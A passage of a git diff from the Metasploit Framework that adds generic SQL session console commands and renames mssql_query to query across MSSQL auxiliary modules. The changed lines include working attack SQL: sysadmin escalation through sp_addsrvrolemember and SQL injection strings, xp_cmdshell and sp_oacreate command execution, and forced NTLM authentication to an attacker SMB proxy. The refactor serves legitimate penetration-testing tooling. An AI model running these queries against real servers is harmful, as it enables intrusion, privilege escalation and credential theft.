b/lib/rex/post/sql/ui/console/command_dispatcher/core.rb new file mode 100644 index 0000000000000..57b53c191e84a --- /dev/null +++ b/lib/rex/post/sql/ui/console/command_dispatcher/core.rb @@ -0,0 +1,42 @@ +# -*- coding: binary -*- + +module Rex + module Post + module Sql + module Ui + module Console::CommandDispatcher::Core + + # + # List of supported commands. + # + def commands + cmds = { + '?' => 'Help menu', + 'background' => 'Backgrounds the current session', + 'bg' => 'Alias for background', + 'exit' => 'Terminate the PostgreSQL session', + 'help' => 'Help menu', + 'irb' => 'Open an interactive Ruby shell on the current session', + 'pry' => 'Open the Pry debugger on the current session', + 'sessions' => 'Quickly switch to another session', + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + def name + 'Core' + end + + def unknown_command(cmd, line) + status = super + + status + end + end + end + end + end +end diff --git a/lib/rex/post/sql/ui/console/command_dispatcher/modules.rb b/lib/rex/post/sql/ui/console/command_dispatcher/modules.rb new file mode 100644 index 0000000000000..205c4a89dd15b --- /dev/null +++ b/lib/rex/post/sql/ui/console/command_dispatcher/modules.rb @@ -0,0 +1,97 @@ +# -*- coding: binary -*- + +module Rex + module Post + module Sql + module Ui + ### + # + # Generic SQL client commands for running modules + # + ### + module Console::CommandDispatcher::Modules + + # + # List of supported commands. + # + def commands + cmds = { + 'run' => 'Run a module or script' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Modules + # + def name + 'Modules' + end + + def cmd_run_help(examples: []) + print_line 'Usage: run' + print_line + print_line 'Run a module or script against the current session.' + print_line + + if examples.any? + print_line 'Example:' + print_line + examples.each { |example| print_line " run #{example}" } + print_line + end + end + + # + # Executes a module/script in the context of the PostgreSQL session. + # + def cmd_run(*args) + if args.empty? || args.first == '-h' || args.first == '--help' + cmd_run_help + return true + end + + # Get the script name + begin + script_name = args.shift + # First try it as a module if we have access to the Metasploit + # Framework instance. If we don't, or if no such module exists, + # fall back to using the scripting interface. + if msf_loaded? && (mod = session.framework.modules.create(script_name)) + original_mod = mod + reloaded_mod = session.framework.modules.reload_module(original_mod) + + unless reloaded_mod + error = session.framework.modules.module_load_error_by_path[original_mod.file_path] + print_error("Failed to reload module: #{error}") + + return + end + + opts = '' + + opts << (args + [ "SESSION=#{session.sid}" ]).join(',') + result = reloaded_mod.run_simple( + 'LocalInput' => shell.input, + 'LocalOutput' => shell.output, + 'OptionStr' => opts + ) + + print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session) + else + # the rest of the arguments get passed in through the binding + session.execute_script(script_name, args) + end + rescue ::StandardError => e + print_error("Error in script: #{script_name}") + elog("Error in script: #{script_name}", error: e) + end + end + end + end + end + end +end diff --git a/lib/rex/post/postgresql/ui/console/interactive_sql_client.rb b/lib/rex/post/sql/ui/console/interactive_sql_client.rb similarity index 89% rename from lib/rex/post/postgresql/ui/console/interactive_sql_client.rb rename to lib/rex/post/sql/ui/console/interactive_sql_client.rb index 28a450b8cb7ba..93b4a981ac544 100644 --- a/lib/rex/post/postgresql/ui/console/interactive_sql_client.rb +++ b/lib/rex/post/sql/ui/console/interactive_sql_client.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- module Rex module Post -module PostgreSQL +module Sql module Ui ### @@ -28,6 +28,10 @@ def _interact formatted_query = client_dispatcher.process_query(query: sql_input[:result]) print_status "Executing query: #{formatted_query}" + # As all SQL clients provide the `query` method, the alternative could be: + # client_dispatcher.client.query(formatted_query) + # However that would involve us parsing the result and printing it here. + # Instead we can use the same user-facing method which handles that for us already. client_dispatcher.cmd_query(formatted_query) end end @@ -100,6 +104,7 @@ def _multiline if finished self.interacting = false + print_status 'Exiting Shell mode.' return { status: :exit, result: nil } end @@ -114,6 +119,7 @@ def _fallback if stop_words.include? line.chomp.downcase self.interacting = false + print_status 'Exiting Shell mode.' return { status: :exit, result: nil } end diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 11cfcd7d5159e..499e59f8817b4 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -42,6 +42,10 @@ class Client # @!attribute send_delay # @return [Integer] The delay between sending packets attr_accessor :send_delay + # @!attribute initial_connection_info + # @return [Hash] Key-value pairs received from the server during the initial MSSQL connection. + # See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec + attr_accessor :initial_connection_info def initialize(framework_module, framework, rhost, rport = 1433) @framework_module = framework_module @@ -175,6 +179,7 @@ def mssql_login(user='sa', pass='', db='', domain_name='') info = {:errors => []} info = mssql_parse_reply(resp, info) + self.initial_connection_info = info return false if not info return info[:login_ack] ? true : false @@ -406,6 +411,7 @@ def mssql_login(user='sa', pass='', db='', domain_name='') info = {:errors => []} info = mssql_parse_reply(resp, info) + self.initial_connection_info = info return false if not info info[:login_ack] ? true : false @@ -551,7 +557,7 @@ def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true) tdsproxy.send_recv(req) end - def mssql_query(sqla, doprint=false, opts={}) + def query(sqla, doprint=false, opts={}) info = { :sql => sqla } opts[:timeout] ||= 15 pkts = [] diff --git a/lib/rex/proto/mssql/client_mixin.rb b/lib/rex/proto/mssql/client_mixin.rb index cc0aa7635ef15..d0bebfd9ff93b 100644 --- a/lib/rex/proto/mssql/client_mixin.rb +++ b/lib/rex/proto/mssql/client_mixin.rb @@ -108,7 +108,7 @@ def mssql_tds_encrypt(pass) def mssql_xpcmdshell(cmd, doprint=false, opts={}) force_enable = false begin - res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) + res = query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) if res[:errors] && !res[:errors].empty? if res[:errors].join =~ /xp_cmdshell/ if force_enable @@ -116,7 +116,7 @@ def mssql_xpcmdshell(cmd, doprint=false, opts={}) raise RuntimeError, "Failed to execute command" else print_status("The server may have xp_cmdshell disabled, trying to enable it...") - mssql_query(mssql_xpcmdshell_enable()) + query(mssql_xpcmdshell_enable()) raise RuntimeError, "xp_cmdshell disabled" end end diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index 40d786635ab06..e2231c59d3ee2 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -33,7 +33,7 @@ def run # Get Version print_status("Version:") vernum ="" - ver = mssql_query("select @@version") + ver = query("select @@version") sqlversion = ver[:rows].join sqlversion.each_line do |row| print "[*]\t#{row}" @@ -50,16 +50,16 @@ def run print_status("Configuration Parameters:") if vernum.join != "2000" query = "SELECT name, CAST(value_in_use AS INT) from sys.configurations" - ver = mssql_query(query)[:rows] + ver = query(query)[:rows] sysconfig = {} ver.each do |l| sysconfig[l[0].strip] = l[1].to_i end else # enable advanced options - mssql_query("EXEC sp_configure \'show advanced options\', 1; RECONFIGURE")[:rows] + query("EXEC sp_configure \'show advanced options\', 1; RECONFIGURE")[:rows] query = "EXECUTE sp_configure" - ver = mssql_query(query)[:rows] + ver = query(query)[:rows] ver.class sysconfig = {} ver.each do |l| @@ -104,7 +104,7 @@ def run :data => "xp_cmdshell is Not Enabled") end else - xpspexist = mssql_query("select sysobjects.name from sysobjects where name = \'xp_cmdshell\'")[:rows] + xpspexist = query("select sysobjects.name from sysobjects where name = \'xp_cmdshell\'")[:rows] if xpspexist != nil print_status("\txp_cmdshell is Enabled") report_note(:host => datastore['RHOST'], @@ -177,7 +177,7 @@ def run :data => "Database Mail XPs is not Enabled") end else - mailexist = mssql_query("select sysobjects.name from sysobjects where name like \'%mail%\'")[:rows] + mailexist = query("select sysobjects.name from sysobjects where name like \'%mail%\'")[:rows] if mailexist != nil print_status("\tDatabase Mail XPs is Enabled") report_note(:host => datastore['RHOST'], @@ -214,7 +214,7 @@ def run :data => "Ole Automation Procedures are not Enabled") end else - oleexist = mssql_query("select sysobjects.name from sysobjects where name like \'%sp_OA%\'")[:rows] + oleexist = query("select sysobjects.name from sysobjects where name like \'%sp_OA%\'")[:rows] if oleexist != nil print_status("\tOle Automation Procedures is Enabled") report_note(:host => datastore['RHOST'], @@ -235,13 +235,13 @@ def run #------------------------------------------------------- # Get list of Databases on System print_status("Databases on the server:") - dbs = mssql_query("select name from master..sysdatabases")[:rows].flatten + dbs = query("select name from master..sysdatabases")[:rows].flatten if dbs != nil dbs.each do |dbn| print_status("\tDatabase name:#{dbn.strip}") print_status("\tDatabase Files for #{dbn.strip}:") if vernum.join != "2000" - db_ind_files = mssql_query("select filename from #{dbn.strip}.sys.sysfiles")[:rows] + db_ind_files = query("select filename from #{dbn.strip}.sys.sysfiles")[:rows] if db_ind_files != nil db_ind_files.each do |fn| print_status("\t\t#{fn.join}") @@ -253,7 +253,7 @@ def run end end else - db_ind_files = mssql_query("select filename from #{dbn.strip}..sysfiles")[:rows] + db_ind_files = query("select filename from #{dbn.strip}..sysfiles")[:rows] if db_ind_files != nil db_ind_files.each do |fn| print_status("\t\t#{fn.join.strip}") @@ -272,9 +272,9 @@ def run # Get list of syslogins on System print_status("System Logins on this Server:") if vernum.join != "2000" - syslogins = mssql_query("select loginname from master.sys.syslogins")[:rows] + syslogins = query("select loginname from master.sys.syslogins")[:rows] else - syslogins = mssql_query("select loginname from master..syslogins")[:rows] + syslogins = query("select loginname from master..syslogins")[:rows] end if syslogins != nil syslogins.each do |acc| @@ -298,7 +298,7 @@ def run # Get list of disabled accounts on System if vernum.join != "2000" print_status("Disabled Accounts:") - disabledsyslogins = mssql_query("select name from master.sys.server_principals where is_disabled = 1")[:rows] + disabledsyslogins = query("select name from master.sys.server_principals where is_disabled = 1")[:rows] if disabledsyslogins != nil disabledsyslogins.each do |acc| print_status("\t#{acc.join}") @@ -322,7 +322,7 @@ def run # Get list of accounts for which password policy does not apply on System if vernum.join != "2000" print_status("No Accounts Policy is set for:") - nopolicysyslogins = mssql_query("select name from master.sys.sql_logins where is_policy_checked = 0")[:rows] + nopolicysyslogins = query("select name from master.sys.sql_logins where is_policy_checked = 0")[:rows] if nopolicysyslogins != nil nopolicysyslogins.each do |acc| print_status("\t#{acc.join}") @@ -346,7 +346,7 @@ def run # Get list of accounts for which password expiration is not checked if vernum.join != "2000" print_status("Password Expiration is not checked for:") - passexsyslogins = mssql_query("select name from master.sys.sql_logins where is_expiration_checked = 0")[:rows] + passexsyslogins = query("select name from master.sys.sql_logins where is_expiration_checked = 0")[:rows] if passexsyslogins != nil passexsyslogins.each do |acc| print_status("\t#{acc.join}") @@ -370,9 +370,9 @@ def run # Get list of sysadmin logins on System print_status("System Admin Logins on this Server:") if vernum.join != "2000" - sysadmins = mssql_query("select name from master.sys.syslogins where sysadmin = 1")[:rows] + sysadmins = query("select name from master.sys.syslogins where sysadmin = 1")[:rows] else - sysadmins = mssql_query("select name from master..syslogins where sysadmin = 1")[:rows] + sysadmins = query("select name from master..syslogins where sysadmin = 1")[:rows] end if sysadmins != nil sysadmins.each do |acc| @@ -396,9 +396,9 @@ def run # Get list of Windows logins on System print_status("Windows Logins on this Server:") if vernum.join != "2000" - winusers = mssql_query("select name from master.sys.syslogins where isntuser = 1")[:rows] + winusers = query("select name from master.sys.syslogins where isntuser = 1")[:rows] else - winusers = mssql_query("select name from master..syslogins where isntuser = 1")[:rows] + winusers = query("select name from master..syslogins where isntuser = 1")[:rows] end if winusers != nil @@ -423,9 +423,9 @@ def run # Get list of windows groups that can logins on the System print_status("Windows Groups that can logins on this Server:") if vernum.join != "2000" - wingroups = mssql_query("select name from master.sys.syslogins where isntgroup = 1")[:rows] + wingroups = query("select name from master.sys.syslogins where isntgroup = 1")[:rows] else - wingroups = mssql_query("select name from master..syslogins where isntgroup = 1")[:rows] + wingroups = query("select name from master..syslogins where isntgroup = 1")[:rows] end if wingroups != nil @@ -451,9 +451,9 @@ def run # Check for local accounts with same username as password sameasuser = [] if vernum.join != "2000" - sameasuser = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(name, password_hash\) = 1")[:rows] + sameasuser = query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(name, password_hash\) = 1")[:rows] else - sameasuser = mssql_query("SELECT name FROM master.dbo.syslogins WHERE PWDCOMPARE\(name, password\) = 1")[:rows] + sameasuser = query("SELECT name FROM master.dbo.syslogins WHERE PWDCOMPARE\(name, password\) = 1")[:rows] end print_status("Accounts with Username and Password being the same:") @@ -479,9 +479,9 @@ def run # Check for local accounts with empty password blankpass = [] if vernum.join != "2000" - blankpass = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(\'\', password_hash\) = 1")[:rows] + blankpass = query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(\'\', password_hash\) = 1")[:rows] else - blankpass = mssql_query("SELECT name FROM master.dbo.syslogins WHERE password IS NULL AND isntname = 0")[:rows] + blankpass = query("SELECT name FROM master.dbo.syslogins WHERE password IS NULL AND isntname = 0")[:rows] end print_status("Accounts with empty password:") @@ -706,7 +706,7 @@ def run SELECT CAST(SYSOBJECTS.NAME AS CHAR) FROM SYSOBJECTS, SYSPROTECTS WHERE SYSPROTECTS.UID = 0 AND XTYPE IN ('X','P') AND SYSOBJECTS.ID = SYSPROTECTS.ID EOS - fountsp = mssql_query(query)[:rows] + fountsp = query(query)[:rows] if fountsp != nil fountsp.flatten! print_status("Stored Procedures with Public Execute Permission found:") @@ -734,7 +734,7 @@ def run instances =[] if vernum.join != "2000" querykey = "EXEC master..xp_regenumvalues \'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL\'" - instance_res = mssql_query(querykey)[:rows] + instance_res = query(querykey)[:rows] if instance_res != nil instance_res.each do |i| instances << i[0] @@ -742,7 +742,7 @@ def run end else querykey = "exec xp_regread \'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Microsoft SQL Server\', \'InstalledInstances\'" - instance_res = mssql_query(querykey)[:rows] + instance_res = query(querykey)[:rows] if instance_res != nil instance_res.each do |i| instances << i[1] @@ -769,7 +769,7 @@ def run #--------------------------------------------------------- # Enumerate under what accounts the instance services are running under print_status("Default Server Instance SQL Server Service is running under the privilege of:") - privdflt = mssql_query("EXEC master..xp_regread \'HKEY_LOCAL_MACHINE\' ,\'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER\',\'ObjectName\'")[:rows] + privdflt = query("EXEC master..xp_regread \'HKEY_LOCAL_MACHINE\' ,\'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER\',\'ObjectName\'")[:rows] if privdflt != nil privdflt.each do |priv| print_status("\t#{priv[1]}") @@ -787,7 +787,7 @@ def run if instancenames.length > 1 instancenames.each do |i| if i.strip != "MSSQLSERVER" - privinst = mssql_query("EXEC master..xp_regread \'HKEY_LOCAL_MACHINE\' ,\'SYSTEM\\CurrentControlSet\\Services\\MSSQL$#{i.strip}\',\'ObjectName\'")[:rows] + privinst = query("EXEC master..xp_regread \'HKEY_LOCAL_MACHINE\' ,\'SYSTEM\\CurrentControlSet\\Services\\MSSQL$#{i.strip}\',\'ObjectName\'")[:rows] if privinst != nil print_status("Instance #{i} SQL Server Service is running under the privilege of:") privinst.each do |p| diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb index 6c459a6fb85e1..d5daed11269a1 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb @@ -152,7 +152,7 @@ def get_win_domain_users(windows_domain_sid) sql = "SELECT SUSER_SNAME(#{win_sid}) as name" # Execute query - result = mssql_query(sql) + result = query(sql) # Parse results parse_results = result[:rows] @@ -180,7 +180,7 @@ def get_windows_domain sql = "SELECT DEFAULT_DOMAIN() as mydomain" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] @@ -197,7 +197,7 @@ def get_sql_server_name sql = "SELECT @@servername" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] @@ -218,7 +218,7 @@ def get_windows_domain_sid(sql_server_domain) sql = "select SUSER_SID('#{domain_group}') as dasid" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb index ef869b19cba1d..ba27ae5b5d2fa 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb @@ -113,7 +113,7 @@ def get_server_name clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) sql = "(select '#{clue_start}'+@@servername+'#{clue_end}')" - result = mssql_query(sql) + result = query(sql) if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ instance_name = $1 @@ -131,7 +131,7 @@ def get_domain_name clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) sql = "(select '#{clue_start}'+DEFAULT_DOMAIN()+'#{clue_end}')" - result = mssql_query(sql) + result = query(sql) if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ domain_name = $1 @@ -151,7 +151,7 @@ def get_windows_domain_sid(db_domain_name) sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('#{domain_group}')))), 1, 2, ''))+'#{clue_end}' as int))" - result = mssql_query(sql) + result = query(sql) if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ object_sid = $1 @@ -188,7 +188,7 @@ def get_win_domain_users(domain_sid) sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{user_sid}) as name)+'#{clue_end}')" - result = mssql_query(sql) + result = query(sql) if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ windows_login = $1 diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb index 50f9046a1c2f4..5188408e41a6e 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -96,7 +96,7 @@ def check_sysadmin sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] @@ -117,7 +117,7 @@ def get_sql_logins sql = "SELECT SUSER_NAME(#{principal_id}) as login" # Execute query - result = mssql_query(sql) + result = query(sql) # Parse results parse_results = result[:rows] @@ -145,7 +145,7 @@ def verify_logins(sql_logins_list) sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'" # Execute query - result = mssql_query(sql) + result = query(sql) # Parse results parse_results = result[:errors] diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 3b9b1a913922a..d0b0a841d9dfc 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -94,7 +94,7 @@ def check_sysadmin sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] @@ -115,7 +115,7 @@ def check_trust_dbs inner join sys.databases d on suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'" - result = mssql_query(sql) + result = query(sql) # Return on success return result[:rows] @@ -133,7 +133,7 @@ def check_db_owner(trust_db_list) where rp.name = 'db_owner' and mp.name = SYSTEM_USER" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] @@ -160,21 +160,21 @@ def escalate_privs(dbowner_db) end'; exec(@myevil); select 1;" - mssql_query(evil_sql_create) + query(evil_sql_create) # Run the evil stored procedure evilsql_run = "use #{dbowner_db}; DECLARE @myevil2 as varchar(max) set @myevil2 = 'EXEC sp_elevate_me' exec(@myevil2);" - mssql_query(evilsql_run) + query(evilsql_run) # Remove evil procedure evilsql_remove = "use #{dbowner_db}; DECLARE @myevil3 as varchar(max) set @myevil3 = 'DROP PROCEDURE sp_elevate_me' exec(@myevil3);" - mssql_query(evilsql_remove) + query(evilsql_remove) true end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb index b43baa2262811..111c63e7b405c 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb @@ -93,7 +93,7 @@ def get_username sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')" # Run query - result = mssql_query(sql) + result = query(sql) # Parse result if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ @@ -112,7 +112,7 @@ def check_sysadmin sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')" # Run query - result = mssql_query(sql) + result = query(sql) # Parse result if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ @@ -137,7 +137,7 @@ def check_trust_dbs WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))" # Run query - res = mssql_query(sql) + res = query(sql) unless res && res.body return nil @@ -169,7 +169,7 @@ def check_db_owner(trust_db_list) where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))" # Run query - result = mssql_query(sql) + result = query(sql) unless result && result.body next @@ -197,20 +197,20 @@ def escalate_privs(dbowner_db,db_user) EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin'' end'; exec(@myevil);--" - mssql_query(evil_sql_create) + query(evil_sql_create) # Run the evil stored procedure evilsql_run = "1;use #{dbowner_db}; DECLARE @myevil2 as varchar(max) set @myevil2 = 'EXEC sp_elevate_me' exec(@myevil2);--" - mssql_query(evilsql_run) + query(evilsql_run) # Remove evil procedure evilsql_remove = "1;use #{dbowner_db}; DECLARE @myevil3 as varchar(max) set @myevil3 = 'DROP PROCEDURE sp_elevate_me' exec(@myevil3);--" - mssql_query(evilsql_remove) + query(evilsql_remove) end end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb index ffaf0d1e9d182..415ccd47c52d1 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -94,7 +94,7 @@ def check_sysadmin sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] @@ -113,7 +113,7 @@ def check_imp_users ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'" - result = mssql_query(sql) + result = query(sql) # Return on success return result[:rows] @@ -127,7 +127,7 @@ def check_imp_sysadmin(trust_db_list) sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status" # Run query - result = mssql_query(sql) + result = query(sql) # Parse query results parse_results = result[:rows] @@ -147,7 +147,7 @@ def escalate_privs(imp_user_sysadmin) evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}'; EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';" - mssql_query(evil_sql_create) + query(evil_sql_create) true end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb index 3fb77c4f7b546..7491bc5248d9f 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb @@ -89,7 +89,7 @@ def get_username sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')" # Run query - result = mssql_query(sql) + result = query(sql) # Parse result if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ @@ -108,7 +108,7 @@ def check_sysadmin sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')" # Run query - result = mssql_query(sql) + result = query(sql) # Parse result if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ @@ -133,7 +133,7 @@ def check_imp_users WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))" # Run query - res = mssql_query(sql) + res = query(sql) unless res && res.body return nil @@ -160,7 +160,7 @@ def check_imp_sysadmin(imp_user_list) sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')" # Run query - result = mssql_query(sql) + result = query(sql) unless result && result.body next @@ -193,6 +193,6 @@ def escalate_privs(db_user) evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--" # Execute Query - mssql_query(evil_sql) + query(evil_sql) end end diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb index 01e23f87eadbc..9f28c303db99b 100644 --- a/modules/auxiliary/admin/mssql/mssql_exec.rb +++ b/modules/auxiliary/admin/mssql/mssql_exec.rb @@ -56,9 +56,9 @@ def run def mssql_spoacreate doprint = datastore['VERBOSE'] print_status('Enabling advanced options and ole automation procedures.') - mssql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE;", doprint) - mssql_query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;", doprint) + query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE;", doprint) + query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;", doprint) print_good('Executing command using sp_oacreate. No output will be displayed.') - mssql_query("DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, '#{datastore['CMD']}';", doprint) + query("DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, '#{datastore['CMD']}';", doprint) end end diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index c81b40a4ccce7..3a2252ba60ec5 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -342,7 +342,7 @@ def sql_statement() # CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING begin - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore column_data = result[:rows] print_good("Successfully connected to #{rhost}:#{rport}") rescue diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index 43035ee7da926..4e0aceceea75d 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -87,7 +87,7 @@ def run begin if mssql_login_datastore - result = mssql_query(sql, false) + result = query(sql, false) else print_error('Login failed') return @@ -154,7 +154,7 @@ def run full_table.slice!(-1, 1) count_sql += full_table - result = mssql_query(count_sql, false) if mssql_login_datastore + result = query(count_sql, false) if mssql_login_datastore count_data = result[:rows] row_count = count_data[0][0] diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index a0c86c6c587a0..1027f489aa301 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -70,7 +70,7 @@ def force_auth(sprocedure,smbproxy) # Setup query sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'" - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore column_data = result[:rows] print_good("Successfully executed #{sprocedure} on #{rhost}") print_good("Go check your SMB relay or capture module for goodies!") diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index d913ddc530cd5..4d3ff7fd11090 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -52,6 +52,6 @@ def run print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}") # Execute query to force authentication from backend database to smbproxy - mssql_query(sql) + query(sql) end end diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index 5102aa6f28f4d..379c090ec295c 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -38,7 +38,7 @@ def cmd_select(*args) end def run - mssql_query(datastore['SQL'], true) if mssql_login_datastore + query(datastore['SQL'], true) if mssql_login_datastore disconnect end end diff --git a/modules/auxiliary/admin/mssql/mssql_sql_file.rb b/modules/auxiliary/admin/mssql/mssql_sql_file.rb index 13b5d4ee90465..e151dd89c6a8c 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql_file.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql_file.rb @@ -36,7 +36,7 @@ def run begin queries.each do |sql_query| vprint_status("Executing: #{sql_query}") - mssql_query(prefix+sql_query.chomp+suffix,true) if mssql_login_datastore + 